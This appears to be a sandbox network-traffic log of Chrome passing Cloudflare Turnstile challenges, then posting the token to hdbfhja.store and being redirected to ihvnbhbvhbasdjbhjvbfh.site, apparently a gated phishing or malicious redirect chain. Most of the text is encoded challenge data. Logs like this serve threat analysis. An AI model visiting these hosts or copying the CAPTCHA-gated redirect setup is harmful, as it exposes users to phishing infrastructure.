2024-05-07 18:31:26 UTC	1369	IN	Data Raw: 47 5a 58 68 42 69 6d 6c 39 57 6f 35 74 67 6d 36 53 63 59 61 46 55 4a 64 4a 63 59 4e 78 6c 45 35 50 61 5a 56 63 64 36 47 62 65 47 31 78 6f 6d 4a 69 6e 6d 52 70 67 34 46 2f 71 61 4b 70 63 35 4f 66 66 35 53 6a 71 4b 6c 7a 6d 58 65 74 64 35 31 2f 73 58 75 68 6c 4c 56 2f 70 5a 75 65 69 71 7a 4d 6a 72 43 37 6b 4d 71 50 73 62 4b 6a 30 71 50 56 70 62 50 58 70 74 4f 78 6f 4f 48 42 6e 61 37 6d 78 64 6e 63 36 73 6e 63 70 65 37 4e 34 62 37 79 30 65 62 53 39 74 58 71 37 50 72 5a 37 62 58 2b 33 66 4c 50 79 2b 43 35 77 39 44 6a 2f 4e 44 55 34 67 72 55 32 4f 58 33 2f 74 7a 38 42 41 6a 66 34 38 37 58 43 77 37 6e 35 78 76 38 46 2f 62 66 33 4e 6f 67 35 41 4c 6e 34 42 30 62 43 41 48 6e 2f 53 38 65 48 2b 67 64 4e 65 76 2b 47 42 63 54 44 54 41 78 4b 6a 59 64 48 76 66 38 50 55 Data Ascii: GZXhBiml9Wo5tgm6ScYaFUJdJcYNxlE5PaZVcd6GbeG1xomJinmRpg4F/qaKpc5Off5SjqKlzmXetd51/sXuhlLV/pZueiqzMjrC7kMqPsbKj0qPVpbPXptOxoOHBna7mxdnc6sncpe7N4b7y0ebS9tXq7PrZ7bX+3fLPy+C5w9Dj/NDU4grU2OX3/tz8BAjf487XCw7n5xv8F/bf3Nog5ALn4B0bCAHn/S8eH+gdNev+GBcTDTAxKjYdHvf8PU
2024-05-07 18:31:26 UTC	1323	IN	Data Raw: 53 55 4f 4a 56 32 68 79 59 47 46 6c 62 35 4a 71 67 6f 5a 78 63 48 4f 50 6b 46 64 53 59 4a 53 45 62 6f 53 65 59 36 61 6a 6d 6f 42 65 6f 6d 61 62 69 48 36 50 62 4b 69 45 6b 35 52 71 69 4a 65 5a 6b 6f 79 62 6e 71 79 51 6e 36 4c 41 6c 4b 4f 6c 65 70 69 6e 70 37 69 63 71 36 76 47 30 74 48 45 6f 34 33 4a 6b 64 6a 53 7a 62 69 34 75 35 57 2b 6e 4c 69 38 75 36 37 51 33 39 79 35 31 74 53 2b 77 64 6e 49 32 4d 58 64 79 64 7a 4a 34 63 36 79 7a 2f 50 58 33 4d 66 70 31 73 6e 77 39 4c 2b 2f 74 74 6a 6b 76 77 54 6f 43 38 6a 69 7a 4d 44 34 78 67 51 49 33 77 54 74 38 50 41 49 34 75 6a 7a 32 42 54 78 44 43 44 33 46 50 6a 67 41 42 63 45 2f 4f 4d 4a 49 43 30 45 36 53 33 37 36 77 55 31 49 42 37 6f 49 4f 37 35 37 50 67 33 4d 69 63 76 4e 52 4d 6a 49 55 41 7a 52 78 45 31 43 51 6b Data Ascii: SUOJV2hyYGFlb5JqgoZxcHOPkFdSYJSEboSeY6ajmoBeomabiH6PbKiEk5RqiJeZkoybnqyQn6LAlKOlepinp7icq6vG0tHEo43JkdjSzbi4u5W+nLi8u67Q39y51tS+wdnI2MXdydzJ4c6yz/PX3Mfp1snw9L+/ttjkvwToC8jizMD4xgQI3wTt8PAI4ujz2BTxDCD3FPjgABcE/OMJIC0E6S376wU1IB7oIO757Pg3MicvNRMjIUAzRxE1CQk
2024-05-07 18:31:26 UTC	766	IN	Data Raw: 32 66 37 0d 0a 43 63 73 51 6d 77 72 4c 7a 56 77 4c 7a 52 57 65 48 42 35 50 46 5a 75 61 32 71 42 54 31 52 51 68 58 35 65 52 30 4a 43 69 46 68 6c 6a 49 78 44 58 70 4b 4d 63 46 36 53 61 70 46 72 55 56 53 56 62 48 39 74 6a 34 35 72 63 31 35 76 67 6e 74 2b 6e 6e 69 64 66 6e 61 43 73 57 32 76 66 48 31 39 71 6f 65 52 6b 61 65 46 6e 49 79 6d 72 70 32 42 6f 72 6e 46 73 61 47 39 75 35 53 66 67 72 68 2f 6a 4a 6d 6c 7a 4a 7a 43 72 4a 47 51 73 38 79 69 73 64 58 59 6a 36 72 52 73 73 6e 52 31 72 57 58 74 36 2f 46 34 62 66 47 33 38 62 62 70 65 69 78 76 72 43 38 31 4b 32 2f 39 61 2f 6b 2b 74 58 31 79 64 2f 4e 38 76 62 6a 30 4f 33 41 77 4e 37 54 31 4f 54 6f 42 2b 50 47 37 77 76 78 33 65 6b 52 33 77 66 68 42 41 63 55 35 76 62 78 47 52 34 64 34 4e 34 57 48 53 50 38 2f 66 67 Data Ascii: 2f7 CcsQmwrLzVwLzRWeHB5PFZua2qBT1RQhX5eR0JCiFhljIxDXpKMcF6SapFrUVSVbH9tj45rc15vgnt+nnidfnaCsW2vfH19qoeRkaeFnIymrp2BornFsaG9u5Sfgrh/jJmlzJzCrJGQs8yisdXYj6rRssnR1rWXt6/F4bfG38bbpeixvrC81K2/9a/k+tX1yd/N8vbj0O3AwN7T1OToB+PG7wvx3ekR3wfhBAcU5vbxGR4d4N4WHSP8/fg
2024-05-07 18:31:26 UTC	261	IN	Data Raw: 66 66 0d 0a 68 4b 74 6b 67 4b 2b 69 72 58 6d 6a 71 6f 5a 72 68 34 75 6d 72 6e 42 34 75 62 75 61 6a 34 74 38 72 58 6d 68 6a 73 4b 69 75 4a 48 49 6f 73 47 44 7a 4b 71 73 6d 72 33 55 6c 4a 4c 53 79 4d 58 61 79 4d 54 5a 6c 4d 79 79 75 5a 32 36 77 74 61 74 30 4e 6a 63 70 74 53 70 6f 36 7a 71 78 75 32 75 37 66 54 6c 73 65 4c 47 73 4c 69 73 77 38 6d 38 2b 4c 33 63 74 39 6a 69 33 4d 48 65 30 75 51 4b 79 63 6b 44 79 73 44 69 30 4d 76 45 44 51 7a 51 45 2b 6f 4d 7a 39 44 6e 35 74 6f 5a 49 52 58 59 2b 4e 6b 50 32 39 77 48 46 43 73 42 46 65 50 72 35 4f 6e 6f 35 78 34 79 41 2f 45 50 46 7a 48 76 4f 41 76 75 50 67 63 70 4c 50 34 39 51 68 45 43 2b 45 45 36 42 54 68 4e 4b 41 55 38 44 6b 34 4f 42 55 46 55 48 6b 55 6e 55 78 41 61 55 56 46 65 54 44 4d 33 59 30 34 33 59 43 46 Data Ascii: ff hKtkgK+irXmjqoZrh4umrnB4ubuaj4t8rXmhjsKiuJHIosGDzKqsmr3UlJLSyMXayMTZlMyyuZ26wtat0NjcptSpo6zqxu2u7fTlseLGsLisw8m8+L3ct9ji3MHe0uQKyckDysDi0MvEDQzQE+oMz9Dn5toZIRXY+NkP29wHFCsBFePr5Ono5x4yA/EPFzHvOAvuPgcpLP49QhEC+EE6BThNKAU8Dk4OBUFUHkUnUxAaUVFeTDM3Y043YCF
2024-05-07 18:31:26 UTC	90	IN	Data Raw: 35 34 0d 0a 6e 61 57 5a 61 54 53 73 38 59 30 35 6d 56 56 4e 54 55 79 39 6f 53 31 68 52 55 6c 74 62 4e 33 52 64 67 31 31 62 59 32 46 51 65 31 74 6f 59 48 31 65 66 31 79 43 62 6f 5a 68 63 6e 4a 6b 61 49 70 72 64 58 46 33 62 70 39 74 65 58 4a 62 66 59 4b 42 70 33 6d 0d 0a Data Ascii: 54 naWZaTSs8Y05mVVNTUy9oS1hRUltbN3Rdg11bY2FQe1toYH1ef1yCboZhcnJkaIprdXF3bp9teXJbfYKBp3m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49786	104.17.2.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:26 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:27 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 18:31:27 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: TG2Y+qfcr9VAOuV/frHpgg==$RRpcn/DC+tw0JyttIUSrGw== Server: cloudflare CF-RAY: 8803497a6ed842e7-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:27 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49787	104.17.3.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:36 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34214 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 1937d72d0ae2e27 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/0i6ex/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:36 UTC	16384	OUT	Data Raw: 76 5f 38 38 30 33 34 39 35 66 39 62 64 35 35 65 36 38 3d 6d 79 35 4f 75 58 6c 69 74 6c 79 35 74 58 39 4e 46 6c 53 78 75 4f 71 32 32 78 46 4f 41 59 4e 69 78 4d 78 45 32 35 34 76 41 6c 54 78 43 59 36 55 6c 65 41 78 43 57 78 4e 41 63 6c 75 78 36 61 76 57 78 58 65 78 55 59 4e 30 42 41 78 41 50 39 77 78 41 64 36 50 79 4f 6a 79 6c 72 78 36 35 78 6e 78 34 35 6c 4d 6a 78 6c 49 78 4e 41 45 49 78 42 78 78 74 32 78 50 32 46 4f 71 47 30 6a 4f 58 4c 78 42 4f 63 32 4f 54 76 78 6d 74 4f 63 61 4f 34 53 6a 72 32 53 32 41 48 33 73 61 4f 6c 30 78 30 5a 46 59 63 34 57 55 61 78 46 61 57 42 6a 64 50 33 32 35 5a 2d 70 78 25 32 62 49 4c 6d 78 78 63 79 4f 78 30 78 35 53 6a 61 74 7a 76 78 43 49 52 35 76 6a 71 6e 6d 66 77 6c 61 58 63 5a 70 45 58 53 53 7a 52 75 45 76 77 61 4f 34 36 Data Ascii: v_8803495f9bd55e68=my5OuXlitly5tX9NFlSxuOq22xFOAYNixMxE254vAlTxCY6UleAxCWxNAclux6avWxXexUYN0BAxAP9wxAd6PyOjylrx65xnx45lMjxlIxNAEIxBxxt2xP2FOqG0jOXLxBOc2OTvxmtOcaO4Sjr2S2AH3saOl0x0ZFYc4WUaxFaWBjdP325Z-px%2bILmxxcyOx0x5SjatzvxCIR5vjqnmfwlaXcZpEXSSzRuEvwaO46
2024-05-07 18:31:36 UTC	16384	OUT	Data Raw: 41 61 4f 49 37 67 44 79 6b 4e 68 78 61 78 39 78 71 78 30 4f 6c 75 78 36 72 38 78 58 78 41 61 6c 41 73 69 32 36 33 6c 55 78 73 59 41 59 6c 6a 6a 7a 78 42 59 4e 49 78 59 4f 51 6b 6c 46 78 50 4f 64 68 78 4f 78 46 4f 43 74 6c 63 78 57 79 35 49 6c 35 61 5a 4f 6c 49 4e 47 78 6b 4f 2b 49 6c 30 78 6e 4f 6d 4f 78 71 79 54 4c 2b 2d 58 43 78 41 78 30 37 79 24 4f 50 78 35 4f 58 74 78 31 78 6d 4f 6c 59 78 73 43 78 4f 78 76 78 46 78 4e 51 58 24 79 53 78 30 78 36 54 4c 2b 78 34 59 58 58 78 30 32 2b 78 36 2d 78 58 4f 6a 59 78 62 78 43 4f 4e 74 6c 61 78 77 74 64 4f 36 47 78 76 79 34 49 58 79 78 65 78 71 79 58 69 6c 49 4f 30 37 79 6a 61 36 78 4a 37 33 55 6c 37 78 34 78 4e 51 59 4d 4f 58 61 78 41 78 6c 35 6c 4f 78 59 78 71 51 41 46 78 61 6c 33 78 36 78 41 69 6c 50 78 63 41 Data Ascii: AaOI7gDykNhxax9xqx0Olux6r8xXxAalAsi263lUxsYAYljjzxBYNIxYOQklFxPOdhxOxFOCtlcxWy5Il5aZOlINGxkO+Il0xnOmOxqyTL+-XCxAx07y$OPx5OXtx1xmOlYxsCxOxvxFxNQX$ySx0x6TL+x4YXXx02+x6-xXOjYxbxCONtlaxwtdO6Gxvy4IXyxexqyXilIO07yja6xJ73Ul7x4xNQYMOXaxAxl5lOxYxqQAFxal3x6xAilPxcA
2024-05-07 18:31:36 UTC	1446	OUT	Data Raw: 34 4e 70 68 61 51 6d 34 61 74 67 64 5a 39 4d 7a 7a 24 7a 63 64 51 39 6b 50 42 7a 74 72 63 52 4f 71 6f 6e 41 47 57 51 59 51 4e 7a 68 71 69 4c 45 6b 41 75 6d 62 30 4b 69 45 71 70 39 4c 4a 58 38 4c 6c 6c 35 6d 69 38 49 61 6d 24 6b 4c 34 30 64 66 67 55 38 2b 54 61 67 4f 78 46 6b 55 78 46 31 61 24 30 71 70 75 46 6c 35 78 72 78 6c 37 68 6d 55 2d 78 2d 62 4d 30 36 64 55 6d 61 6d 43 36 36 55 4a 79 58 35 6c 2b 4f 38 51 6f 2d 78 59 78 50 70 71 6e 4a 70 24 68 4f 65 41 43 6d 6a 38 78 6a 66 66 53 78 38 2d 46 78 31 6d 42 51 41 49 4c 50 4f 64 68 4f 69 57 6f 5a 4f 65 4f 6d 6c 4d 69 78 38 6d 61 78 7a 62 78 65 50 59 4f 6c 58 64 48 4a 47 50 6d 76 4e 39 35 7a 71 34 48 42 34 62 65 4e 38 69 78 69 6a 71 6e 30 24 75 6e 51 58 4f 4e 2d 5a 68 4f 70 35 78 69 6c 37 74 49 5a 32 53 78 Data Ascii: 4NphaQm4atgdZ9Mzz$zcdQ9kPBztrcROqonAGWQYQNzhqiLEkAumb0KiEqp9LJX8Lll5mi8Iam$kL40dfgU8+TagOxFkUxF1a$0qpuFl5xrxl7hmU-x-bM06dUmamC66UJyX5l+O8Qo-xYxPpqnJp$hOeACmj8xjffSx8-Fx1mBQAILPOdhOiWoZOeOmlMix8maxzbxePYOlXdHJGPmvN95zq4HB4beN8ixijqn0$unQXON-ZhOp5xil7tIZ2Sx
2024-05-07 18:31:37 UTC	478	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-out: JugnEhPMVBZbptytXp6ZXPNMdZFSzWb+wsWYxS/tdNUqZBnl3Cdsl+9BjRMZThVSsRD1SGihd/1RKxU/12GeHJEh0a5C3Z0zGTW7Z01vRETQpC8V6xMlTb6jtdw7atJL$4PBRwgVheVotJ/ChFslPlg== cf-chl-out-s: ftu4OFJ3lFFCvYMU8H+tZg==$ryWyPE9+QdQMNMD5gFGuWw== vary: accept-encoding Server: cloudflare CF-RAY: 880349b6b8a54205-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:37 UTC	891	IN	Data Raw: 36 36 62 0d 0a 6b 49 36 7a 77 38 42 2f 6d 72 32 77 6c 36 72 44 75 59 65 36 70 4d 44 51 71 4d 61 4c 77 4c 43 76 31 36 36 70 30 38 2b 63 6e 62 6e 64 6e 4f 47 2b 31 62 69 38 77 39 4f 6f 33 64 65 31 77 74 72 66 71 73 62 65 34 36 33 76 37 75 75 76 75 4f 4c 55 30 62 7a 70 36 38 6e 71 74 2b 32 2b 41 4c 76 31 76 67 62 44 2b 75 48 4d 2f 66 76 63 44 4f 54 78 7a 4d 62 6b 39 75 33 4b 39 77 6a 6e 33 50 54 39 31 67 7a 38 46 4e 34 41 49 78 73 64 4a 78 63 47 35 68 67 42 4c 2b 6b 63 4a 79 4c 72 39 41 55 52 44 75 6f 55 4b 41 59 53 4a 78 37 32 41 52 58 2b 2f 6a 41 64 49 67 51 30 41 44 6f 69 2f 68 77 38 48 55 77 37 55 51 59 56 4b 44 49 71 55 79 39 53 53 78 6b 55 58 46 6b 59 53 7a 4d 69 50 47 64 63 5a 6b 6c 6e 51 79 4e 59 4e 69 6c 66 4d 45 74 74 50 45 68 68 4d 30 64 70 4e 6a Data Ascii: 66b kI6zw8B/mr2wl6rDuYe6pMDQqMaLwLCv166p08+cnbndnOG+1bi8w9Oo3de1wtrfqsbe463v7uuvuOLU0bzp68nqt+2+ALv1vgbD+uHM/fvcDOTxzMbk9u3K9wjn3PT91gz8FN4AIxsdJxcG5hgBL+kcJyLr9AURDuoUKAYSJx72ARX+/jAdIgQ0ADoi/hw8HUw7UQYVKDIqUy9SSxkUXFkYSzMiPGdcZklnQyNYNilfMEttPEhhM0dpNj
2024-05-07 18:31:37 UTC	759	IN	Data Raw: 77 4e 4a 43 67 56 54 54 49 35 4b 68 6b 36 51 69 41 2b 57 57 4d 79 56 6c 56 4d 4b 55 51 34 50 54 74 44 4c 6b 34 2b 59 58 6c 72 4d 79 31 70 4f 44 68 37 58 31 6f 2b 51 32 4e 41 52 59 52 66 61 6c 4b 48 61 32 5a 4d 65 6d 4a 76 54 48 2b 56 67 45 69 55 68 6d 56 54 62 4a 46 61 6b 6f 78 65 59 47 4a 66 66 32 4a 69 6c 4a 46 39 61 61 68 34 65 57 79 71 69 6f 31 36 6e 58 4b 6b 61 49 74 71 6a 36 32 6d 76 62 4a 30 68 34 2b 57 65 59 4f 78 74 33 32 66 6f 36 66 4c 74 72 71 58 7a 34 57 35 75 6f 75 2f 72 38 6a 48 77 73 69 78 7a 4a 76 64 76 61 65 2f 6d 72 75 64 33 74 4b 77 70 4c 36 61 76 39 7a 6f 74 2b 75 74 78 61 2b 39 72 4c 4c 30 30 2b 72 6b 35 66 61 30 30 73 75 36 38 4c 48 58 75 76 54 2b 34 2f 48 47 42 4e 66 6c 79 4d 72 4a 34 73 44 46 44 75 62 51 41 52 62 56 7a 2b 2f 6e 30 Data Ascii: wNJCgVTTI5Khk6QiA+WWMyVlVMKUQ4PTtDLk4+YXlrMy1pODh7X1o+Q2NARYRfalKHa2ZMemJvTH+VgEiUhmVTbJFakoxeYGJff2JilJF9aah4eWyqio16nXKkaItqj62mvbJ0h4+WeYOxt32fo6fLtrqXz4W5uou/r8jHwsixzJvdvae/mrud3tKwpL6av9zot+utxa+9rLL00+rk5fa00su68LHXuvT+4/HGBNflyMrJ4sDFDubQARbVz+/n0
2024-05-07 18:31:37 UTC	1369	IN	Data Raw: 36 65 64 0d 0a 46 6b 57 6d 4a 69 70 56 30 64 6c 64 2b 66 48 65 52 55 33 53 42 6c 34 61 45 67 57 4e 6c 6b 6f 53 65 61 47 65 49 6f 34 4a 38 69 36 52 75 70 4a 53 50 68 5a 4f 33 65 70 57 72 6c 72 48 42 6c 4a 64 38 64 34 57 35 70 70 4f 70 77 34 6a 4d 78 70 7a 49 72 62 2f 41 70 37 47 6a 6f 4d 75 36 7a 62 66 56 7a 5a 69 75 34 65 4b 39 6e 37 57 36 30 2b 53 35 74 75 44 65 71 65 6e 59 77 73 44 71 34 2b 71 30 31 4c 48 41 31 65 54 31 36 72 54 61 7a 65 36 34 33 74 54 58 77 2b 55 47 78 2b 6e 30 79 51 54 49 36 75 76 63 44 4e 7a 73 7a 63 6f 45 46 76 62 6d 79 78 7a 36 45 75 73 67 2f 68 4d 57 4a 41 4d 57 31 2f 48 30 39 52 6b 4a 35 51 6a 37 2b 79 41 52 48 69 62 77 2f 44 59 73 42 2f 4c 72 38 41 59 35 50 6a 49 55 4c 68 77 38 44 79 30 6d 4d 7a 55 48 42 77 73 59 43 7a 73 61 4a Data Ascii: 6ed FkWmJipV0dld+fHeRU3SBl4aEgWNlkoSeaGeIo4J8i6RupJSPhZO3epWrlrHBlJd8d4W5ppOpw4jMxpzIrb/Ap7GjoMu6zbfVzZiu4eK9n7W60+S5tuDeqenYwsDq4+q01LHA1eT16rTaze643tTXw+UGx+n0yQTI6uvcDNzszcoEFvbmyxz6Eusg/hMWJAMW1/H09RkJ5Qj7+yARHibw/DYsB/Lr8AY5PjIULhw8Dy0mMzUHBwsYCzsaJ
2024-05-07 18:31:37 UTC	411	IN	Data Raw: 33 54 34 4e 51 63 56 4b 4a 6e 33 31 53 6c 32 46 75 58 71 46 67 6b 47 68 2b 70 36 74 6f 66 57 75 46 6f 61 2b 51 6b 36 56 6e 6b 4a 52 7a 73 4a 57 72 72 72 6d 64 73 6e 75 74 6d 4a 69 31 75 34 53 36 75 59 57 6b 6f 62 2b 65 6f 63 4b 4d 6f 59 2b 71 6a 37 61 74 79 73 6d 35 6c 4d 37 50 79 62 69 38 30 72 65 31 31 4b 44 47 75 64 6e 61 70 4b 6a 62 71 4c 37 42 34 65 4b 6a 77 4e 44 6d 78 61 7a 6e 36 2f 44 59 32 4f 37 35 31 4e 33 79 34 74 6a 59 39 75 62 67 33 2f 72 5a 42 67 4c 5a 36 41 37 4e 79 77 6e 52 38 63 2f 56 31 41 44 4f 42 75 72 5a 48 68 58 64 44 78 49 59 33 77 49 58 34 66 6a 38 47 78 62 30 41 65 67 45 41 51 6b 6a 48 67 45 4d 4a 69 77 79 4c 67 4d 37 42 41 67 6d 4f 76 55 50 51 76 77 43 4e 44 59 62 4e 45 55 61 46 7a 6b 2f 43 6b 6f 35 49 79 46 44 50 54 41 4d 4a 6a Data Ascii: 3T4NQcVKJn31Sl2FuXqFgkGh+p6tofWuFoa+Qk6VnkJRzsJWrrrmdsnutmJi1u4S6uYWkob+eocKMoY+qj7atysm5lM7Pybi80re11KDGudnapKjbqL7B4eKjwNDmxazn6/DY2O751N3y4tjY9ubg3/rZBgLZ6A7NywnR8c/V1ADOBurZHhXdDxIY3wIX4fj8Gxb0AegEAQkjHgEMJiwyLgM7BAgmOvUPQvwCNDYbNEUaFzk/Cko5IyFDPTAMJj
2024-05-07 18:31:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49790	104.17.2.184	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:37 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1296908238:1715102970:WHlKkTMI5qTfs3kqdoIXXuyp1058w2BbgNo-m-7l2OI/8803495f9bd55e68/1937d72d0ae2e27 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:31:37 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Tue, 07 May 2024 18:31:37 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: vdy+32n8zq04kkv1ct2ANA==$rDh4xj5mRzCRREFAgBJdGA== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 880349baacf741ff-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 18:31:37 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49788	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:37 UTC	1295	OUT	POST /?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive Content-Length: 560 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://hdbfhja.store Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://hdbfhja.store/?xeuxuwcg=ec88ccf3521205507dea895bdd8c3dd57082bcf2b8e2d8cb549d067aa15240ca465f646207db5f3c3b1aaa7db51b6765211ca48965e9c1476f5fe534a8b2d46e&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ
2024-05-07 18:31:37 UTC	560	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 70 48 6f 4e 58 6e 74 35 38 5f 30 4d 55 55 4b 74 4b 5f 6d 68 45 51 6c 55 68 51 59 54 64 4f 76 6e 32 58 76 39 5a 6a 45 5a 73 6f 76 76 38 2d 54 49 4e 61 44 58 47 53 70 59 6a 2d 5f 45 68 51 54 4b 77 46 67 49 68 5a 71 39 68 5a 71 37 64 41 57 4a 57 71 52 48 59 56 33 66 43 74 44 36 43 53 31 6a 4e 5a 45 70 6f 66 76 42 42 39 75 45 7a 62 6b 5f 4e 68 61 75 5f 71 4e 54 53 6d 44 61 75 59 74 30 69 5a 69 4c 4e 42 6e 2d 4c 2d 48 4a 4f 32 4c 61 50 7a 54 55 42 58 72 32 45 78 65 4e 77 38 31 6a 5f 4a 45 79 73 6f 62 75 42 70 79 6e 44 77 50 6b 6d 62 61 39 6e 36 33 6a 6e 41 39 74 64 6e 43 5a 47 38 34 56 56 56 57 42 67 7a 30 2d 4f 57 6a 55 4c 33 63 50 34 71 68 50 65 72 57 78 39 4b 4b 79 59 4a 49 6d 45 52 5f Data Ascii: cf-turnstile-response=0.pHoNXnt58_0MUUKtK_mhEQlUhQYTdOvn2Xv9ZjEZsovv8-TINaDXGSpYj-_EhQTKwFgIhZq9hZq7dAWJWqRHYV3fCtD6CS1jNZEpofvBB9uEzbk_Nhau_qNTSmDauYt0iZiLNBn-L-HJO2LaPzTUBXr2ExeNw81j_JEysobuBpynDwPkmba9n63jnA9tdnCZG84VVVWBgz0-OWjUL3cP4qhPerWx9KKyYJImER_
2024-05-07 18:31:38 UTC	440	IN	HTTP/1.1 302 Found location: https://ihvnbhbvhbasdjbhjvbfh.site?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL2lodm5iaGJ2aGJhc2RqYmhqdmJmaC5zaXRlIiwiZG9tYWluIjoiaWh2bmJoYnZoYmFzZGpiaGp2YmZoLnNpdGUiLCJrZXkiOiJsQUlMSWVyZDZWcVAiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjY5NywiZXhwIjoxNzE1MTA2ODE3fQ.he_U96iM5-m3tQrPAFlHg1amMxA0JNkejLj938aPDH0 Date: Tue, 07 May 2024 18:31:37 GMT Connection: close Transfer-Encoding: chunked
2024-05-07 18:31:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49791	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
